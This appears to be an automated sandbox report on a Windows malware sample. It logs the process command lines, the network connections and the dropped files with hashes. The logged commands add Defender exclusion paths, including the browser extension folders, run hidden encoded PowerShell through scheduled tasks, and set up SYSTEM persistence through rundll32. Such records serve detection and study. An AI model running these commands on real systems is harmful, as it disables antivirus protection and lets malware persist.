
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCifMpYymZWU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCifMpYymZWU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gbPxNkbXHfUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gbPxNkbXHfUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVqQIGUXDOgrC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVqQIGUXDOgrC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvWovCiVU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvWovCiVU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WkkDuRgYrrqHXcVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WkkDuRgYrrqHXcVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IzRZTwSZebgYVSAl\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IzRZTwSZebgYVSAl\" /t REG_DWORD /d 0 /reg:64;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gbPxNkbXHfUn" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gbPxNkbXHfUn" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVqQIGUXDOgrC" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVqQIGUXDOgrC" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvWovCiVU" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvWovCiVU" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WkkDuRgYrrqHXcVB /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WkkDuRgYrrqHXcVB /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IzRZTwSZebgYVSAl /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IzRZTwSZebgYVSAl /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "gonHMwdrV" /SC once /ST 03:01:28 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "gonHMwdrV"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==

C:\Windows\system32\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc

C:\Windows\system32\gpscript.exe

gpscript.exe /RefreshSystemParam

C:\Windows\System32\MsiExec.exe

C:\Windows\System32\MsiExec.exe -Embedding 767ED4BC1BB7D24A22E54809F410B046

C:\Windows\System32\MsiExec.exe

C:\Windows\System32\MsiExec.exe -Embedding 7103C505192EA51A45997051DFC43D35 E Global\MSI0000

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "gonHMwdrV"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "ZJggANjsYpCqsGjEe" /SC once /ST 08:40:52 /RU "SYSTEM" /TR "\"C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe\" UK /oVsite_idBLl 385118 /S" /V1 /F

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "ZJggANjsYpCqsGjEe"

C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe

C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe UK /oVsite_idBLl 385118 /S

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "bCAdHbOFiqtMCRhbmR"

C:\Windows\SysWOW64\cmd.exe

cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32

C:\Windows\SysWOW64\reg.exe

REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32

C:\Windows\SysWOW64\cmd.exe

cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64

C:\Windows\SysWOW64\reg.exe

REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\yvWovCiVU\KJfDBt.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "eGwAoTnpAObQfPU" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "eGwAoTnpAObQfPU2" /F /xml "C:\Program Files (x86)\yvWovCiVU\PEwrxSn.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /END /TN "eGwAoTnpAObQfPU"

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "eGwAoTnpAObQfPU"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "ALvbXdfFiQJKEp" /F /xml "C:\Program Files (x86)\LCifMpYymZWU2\uNsaUcq.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "BIiSjOILpRnDn2" /F /xml "C:\ProgramData\WkkDuRgYrrqHXcVB\EsDceIO.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "uCAhUOuaRBfXDMltv2" /F /xml "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\fNkrOxI.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "cLzKLCJHWfKFSkdKasF2" /F /xml "C:\Program Files (x86)\mVqQIGUXDOgrC\bVegtqS.xml" /RU "SYSTEM"

C:\Windows\syswow64\MsiExec.exe

C:\Windows\syswow64\MsiExec.exe -Embedding 3F2DD9F9D2C40A2A39569047A1ABA662 M Global\MSI0000

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "kkPqOHrufYpxTagPJ" /SC once /ST 10:43:57 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\IzRZTwSZebgYVSAl\KDgkOmyZ\QgbsYMi.dll\",#1 /CRsite_idxkj 385118" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "kkPqOHrufYpxTagPJ"

C:\Windows\system32\rundll32.EXE

C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\IzRZTwSZebgYVSAl\KDgkOmyZ\QgbsYMi.dll",#1 /CRsite_idxkj 385118

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\IzRZTwSZebgYVSAl\KDgkOmyZ\QgbsYMi.dll",#1 /CRsite_idxkj 385118

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "kkPqOHrufYpxTagPJ"

Network

Country Destination Domain Proto
US 8.8.8.8:53 pastebin.com udp
US 8.8.8.8:53 yip.su udp
US 104.21.79.77:443 yip.su tcp
US 172.67.34.170:443 pastebin.com tcp
US 8.8.8.8:53 170.34.67.172.in-addr.arpa udp
DE 185.172.128.144:80 185.172.128.144 tcp
US 8.8.8.8:53 www.charityengine.com udp
US 8.8.8.8:53 shipofdestiny.com udp
US 8.8.8.8:53 namemail.org udp
US 8.8.8.8:53 net.geo.opera.com udp
US 104.21.15.5:443 operandotwo.com tcp
US 188.114.97.2:443 shipofdestiny.com tcp
US 188.114.97.2:443 shipofdestiny.com tcp
US 172.67.200.219:443 sty.ink tcp
US 65.97.63.40:443 www.charityengine.com tcp
US 172.67.200.219:443 sty.ink tcp
NL 185.26.182.111:80 net.geo.opera.com tcp
NL 185.26.182.111:443 net.geo.opera.com tcp
SG 217.21.73.190:443 piramidglobaltobacco.id tcp
FR 95.164.45.22:443 e.392391234.xyz tcp
FR 95.164.45.22:443 e.392391234.xyz tcp
US 8.8.8.8:53 22.45.164.95.in-addr.arpa udp
US 8.8.8.8:53 190.73.21.217.in-addr.arpa udp
DE 185.172.128.90:80 185.172.128.90 tcp
DE 185.172.128.65:80 185.172.128.65 tcp
DE 185.172.128.65:80 185.172.128.65 tcp
DE 185.172.128.144:80 185.172.128.144 tcp
NL 82.145.216.20:443 autoupdate.geo.opera.com tcp
NL 82.145.216.20:443 autoupdate.geo.opera.com tcp
NL 82.145.217.121:443 desktop-netinstaller-sub.osp.opera.software tcp
DE 185.172.128.209:80 185.172.128.209 tcp
NL 82.145.216.15:443 features.opera-api2.com tcp
NL 82.145.216.23:443 download.opera.com tcp
US 104.18.11.89:443 download5.operacdn.com tcp
US 172.67.188.178:443 iplogger.com tcp
US 20.157.87.45:80 svc.iolo.com tcp
NL 195.20.16.45:80 195.20.16.45 tcp
US 104.26.9.59:443 api.myip.com tcp
FR 185.93.2.244:443 download.iolo.net tcp
US 34.117.186.192:443 ipinfo.io tcp
NL 82.145.217.121:443 desktop-netinstaller-sub.osp.opera.software tcp
N/A 224.0.0.251:5353 udp
NL 82.145.217.121:443 desktop-netinstaller-sub.osp.opera.software tcp
US 20.157.87.45:80 svc.iolo.com tcp
DE 185.172.128.65:80 185.172.128.65 tcp
US 20.9.155.150:443 westus2-2.in.applicationinsights.azure.com tcp
US 3.80.150.121:443 service-domain.xyz tcp
NL 172.217.168.238:443 clients2.google.com tcp
GB 142.250.187.225:443 clients2.googleusercontent.com tcp
NL 172.217.168.238:443 clients2.google.com tcp
US 44.240.147.44:80 api5.check-data.xyz tcp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c3kdsu4l.ysq.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4916-8-0x000002A4F4F30000-0x000002A4F4F52000-memory.dmp

memory/4916-9-0x00007FFB550D0000-0x00007FFB55B92000-memory.dmp

memory/4916-11-0x000002A4F4EF0000-0x000002A4F4F00000-memory.dmp

memory/4916-10-0x000002A4F4EF0000-0x000002A4F4F00000-memory.dmp

memory/1144-13-0x0000000000400000-0x0000000000408000-memory.dmp

memory/4916-12-0x000002A4F4EF0000-0x000002A4F4F00000-memory.dmp

memory/4916-16-0x00007FFB550D0000-0x00007FFB55B92000-memory.dmp

memory/1144-17-0x00000000747A0000-0x0000000074F51000-memory.dmp

memory/1144-18-0x00000000053B0000-0x00000000053C0000-memory.dmp

C:\Users\Admin\Pictures\xHSuJrJS9vwhsvRTR3eTrJtk.exe

MD5 53dd8034407bbbf1557c704c4094cb34
SHA1 1fd38f2aa8ef7b2cc15a2e96eda28c64b0726b5a
SHA256 4ebc04dc3b80947ba0da846dc72f5f70fc8bed7dade2cd91540ab374219e866f
SHA512 083c0c6ee42ae39935e9f45ef500d82ba52eb868a51a8858c2b73466f71e5082b2606b5173c4ca58f90797b560d37d8ea5252f2daabce21d208ed8683bf37403

C:\Users\Admin\Pictures\KJifpTr8D9zlTd3EDXb5EDDz.exe

MD5 5b423612b36cde7f2745455c5dd82577
SHA1 0187c7c80743b44e9e0c193e993294e3b969cc3d
SHA256 e0840d2ea74a00dcc545d770b91d9d889e5a82c7bedf1b989e0a89db04685b09
SHA512 c26a1e7e96dbd178d961c630abd8e564ef69532f386fb198eb20119a88ecab2fe885d71ac0c90687c18910ce00c445f352a5e8fbf5328f3403964f7c7802414c

memory/2320-41-0x0000000000AC0000-0x0000000000BC0000-memory.dmp

memory/2320-42-0x00000000025A0000-0x000000000260C000-memory.dmp

memory/2320-43-0x0000000000400000-0x0000000000889000-memory.dmp

C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe

MD5 1963a1e98eecf060ac5d9cbf1e78b2cf
SHA1 3a9c1d3910c0a8bc7004293323f8c70f9f28d068
SHA256 63e41a5f985adcd0e81e0b36578083ac86e844687c0b66b57b9b54381e59c412
SHA512 55ce2782ef49739fd36235764a4645e51a8d25340fd1da2696188a048317dc753a788c6738dd738919ff51ccd3534870764bf0d5a13e7b1c31562ec3ade72145

C:\Users\Admin\AppData\Local\Temp\Opera_installer_2404031123315741892.dll

MD5 2a3159d6fef1100348d64bf9c72d15ee
SHA1 52a08f06f6baaa12163b92f3c6509e6f1e003130
SHA256 668bf8a7f3e53953dd6789fc6146a205c6c7330832c5d20b439eedb7c52ed303
SHA512 251c0d3cdd0597b962d4e32cf588a82454c42067cbe5e35b41b0548eea742ea25815e5d6830b63c1992b5730a4e6d7c005fb0019aa4c389549b06fff9a74b38c

C:\Users\Admin\AppData\Local\Temp\u1sg.0.exe

MD5 51e3ef0a1d7922b7f8a12d2f71884f1a
SHA1 c4d962755aff62b1645e930e516fed964dfe2d78
SHA256 34567116a4502f378362327e1cde0dcaed0cee3c62f9fa651e8d52d44e49e54e
SHA512 e1c6413dbb16434372afcb99c068971ef5a72243768488e93adb915f32c3850f7e34ecb1967b669e2bd658ff7f1e185c009bc7caff8753cc5ba42910145575f7

memory/2972-85-0x0000000000AD0000-0x0000000000AF7000-memory.dmp

memory/2972-90-0x0000000000400000-0x0000000000866000-memory.dmp

C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports\settings.dat

MD5 1cb6f3a14f2c5e274dee32f0dfd6a02d
SHA1 381b67f89dbb2d0a07859196510647273ae73709
SHA256 3504b6ed9293e714cb45c0be5929b0f5c568781065ec241f725c67b30dd1d3f2
SHA512 46c58af8e2a7b41813692bc009c5d0837d44426c77488af35392128e6a019f7967c556bd224553566bafd27520ebdaac5000b1f7be8cfeedbfb9b3bb62cd9be3

memory/2972-84-0x0000000000B40000-0x0000000000C40000-memory.dmp

memory/2972-116-0x0000000061E00000-0x0000000061EF3000-memory.dmp

C:\Users\Admin\Pictures\fzjvJcnlDLmOSokrFJQkEgGJ.exe

MD5 043dbd643661057bd57f2b5fef28d155
SHA1 08819d63ab2f4641aaf891575b46f3b458045fa2
SHA256 cd397b8859f41846902412c7a48da2adf6f5c0dba1497457009e0495aa01fda6
SHA512 b5abb4082995d7f2b653d7621afceb8b0c455cc0379d7d6c643cf6c43d2e3e24fbdfb391f18cea1c5b7af51be99f2e128f587be2c71e18e6ad0c88a66ff56439

C:\Users\Admin\AppData\Local\Temp\u1sg.1.exe

MD5 397926927bca55be4a77839b1c44de6e
SHA1 e10f3434ef3021c399dbba047832f02b3c898dbd
SHA256 4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7
SHA512 cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

memory/2972-208-0x0000000000400000-0x0000000000866000-memory.dmp

memory/1440-209-0x0000000002860000-0x0000000002861000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7zSE1B5.tmp\Install.exe

MD5 ea99e72c1ac89aa9cc14178b1c46d50d
SHA1 60b896781f40e89106d0c76abd11c5b5d0832943
SHA256 9cd503eed313e3c5293f192804c0f20a4eef448876f8375fbc26a25be36d5b28
SHA512 03693bda0c8b693c09e416a7d0c335294f74804f336058a59612a07aa0dd918cd70958cc95feba7d3b26b2df235b0a60d0347d6ed6e353fec8c87c969f6068f1

memory/2320-207-0x0000000000400000-0x0000000000889000-memory.dmp

memory/2584-232-0x0000000010000000-0x00000000105E8000-memory.dmp

memory/1964-236-0x0000000010000000-0x00000000105E8000-memory.dmp

C:\Users\Admin\Pictures\73weWIzju6ojmzZLpcW37C8r.exe

MD5 858bb0a3b4fa6a54586402e3ee117076
SHA1 997c31f043347883ea5ed2323a558b6cc5ea9c8e
SHA256 d97a7fc44bf341b9b2b2e65b46dab4f7d329afe15b4308b5aa56d5bfd7b99d35
SHA512 e8374b115f056b5d345c9b5f9c42b3d49e0640d7fad869448f686add6e52b783ecc7fd35ee15a67b944843491a91becf5b7c0bd5603eda01042dd2904c1ad8fd

memory/2868-256-0x00007FF770900000-0x00007FF77140A000-memory.dmp

memory/1440-257-0x0000000000400000-0x00000000008AD000-memory.dmp

memory/2972-258-0x0000000000400000-0x0000000000866000-memory.dmp

memory/2868-259-0x00007FFB74FE0000-0x00007FFB7509D000-memory.dmp

memory/2868-260-0x00007FFB74FE0000-0x00007FFB7509D000-memory.dmp

memory/2868-261-0x00007FF770900000-0x00007FF77140A000-memory.dmp

memory/2868-262-0x00007FFB73A60000-0x00007FFB73DD4000-memory.dmp

memory/2868-265-0x00007FFB00000000-0x00007FFB00002000-memory.dmp

memory/2868-263-0x00007FF770900000-0x00007FF77140A000-memory.dmp

memory/2868-266-0x00007FF770900000-0x00007FF77140A000-memory.dmp

memory/2868-264-0x00007FFB00030000-0x00007FFB00031000-memory.dmp

C:\Windows\system32\GroupPolicy\gpt.ini

MD5 a62ce44a33f1c05fc2d340ea0ca118a4
SHA1 1f03eb4716015528f3de7f7674532c1345b2717d
SHA256 9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a
SHA512 9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

memory/2868-267-0x00007FF770900000-0x00007FF77140A000-memory.dmp

memory/2868-271-0x00007FF770900000-0x00007FF77140A000-memory.dmp

memory/2868-275-0x00007FF770900000-0x00007FF77140A000-memory.dmp

memory/2868-276-0x00007FF770900000-0x00007FF77140A000-memory.dmp

memory/2868-289-0x00007FFB76060000-0x00007FFB76269000-memory.dmp

memory/1144-288-0x00000000747A0000-0x0000000074F51000-memory.dmp

C:\Windows\System32\GroupPolicy\gpt.ini

MD5 7534b5b74212cb95b819401235bd116c
SHA1 787ad181b22e161330aab804de4abffbfc0683b0
SHA256 b05c6723077813dc9b48a2f1142db37ea63c672931d13a74d320f7d006756a04
SHA512 ea268788dc59ab78c0aadd4db9bbcf95493bf4eb2b5ae3d592e6876596246832fc574e7bc1348ce7922b32dcedcf71876ff59fb8beace5c06891ec897c9dac51

C:\ProgramData\nss3.dll

MD5 1cc453cdf74f31e4d913ff9c10acdde2
SHA1 6e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512 dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

C:\ProgramData\mozglue.dll

MD5 c8fd9be83bc728cc04beffafc2907fe9
SHA1 95ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512 fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

MD5 54e103ede12b0b304fd799033ac22fe6
SHA1 41243dee1cba70a8ee533acf1b92338b476ae8db
SHA256 d8b19879848d322699f6dd1ab35a56148777b113760a5160f62b4a50b55588fe
SHA512 7daccf301bc0c47611b40c4e1c924f580bfa6d93b9535a7a567daf01954936f7eada9f584663b45baddd26d444e0024b483f142c3e703fa31579e2619963966f

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6903d57eed54e89b68ebb957928d1b99
SHA1 fade011fbf2e4bc044d41e380cf70bd6a9f73212
SHA256 36cbb00b016c9f97645fb628ef72b524dfbdf6e08d626e5c837bbbb9075dcb52
SHA512 c192ea9810fd22de8378269235c1035aa1fe1975a53c876fe4a7acc726c020f94773c21e4e4771133f9fcedb0209f0a5324c594c1db5b28fe1b27644db4fdc9e

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 eb6332ae9e8fec69c2236355e2638f9d
SHA1 71500d57fb304979afd6756f06d4b9a59f995eb7
SHA256 88e5ffe18fd4a772efce68f1b0db839846cafc42d36415508ad5356a44d38f32
SHA512 e87c864ba79bd7a10a62b55ad564cf3acb090e7d85707a6967497deeef5fcde1f0b4608ea8791bf81363ec583a0101d470d8f3cd2172ced8d4071d7f6c674aed

memory/3316-347-0x0000027C61030000-0x0000027C61040000-memory.dmp

memory/3316-348-0x0000027C61030000-0x0000027C61040000-memory.dmp

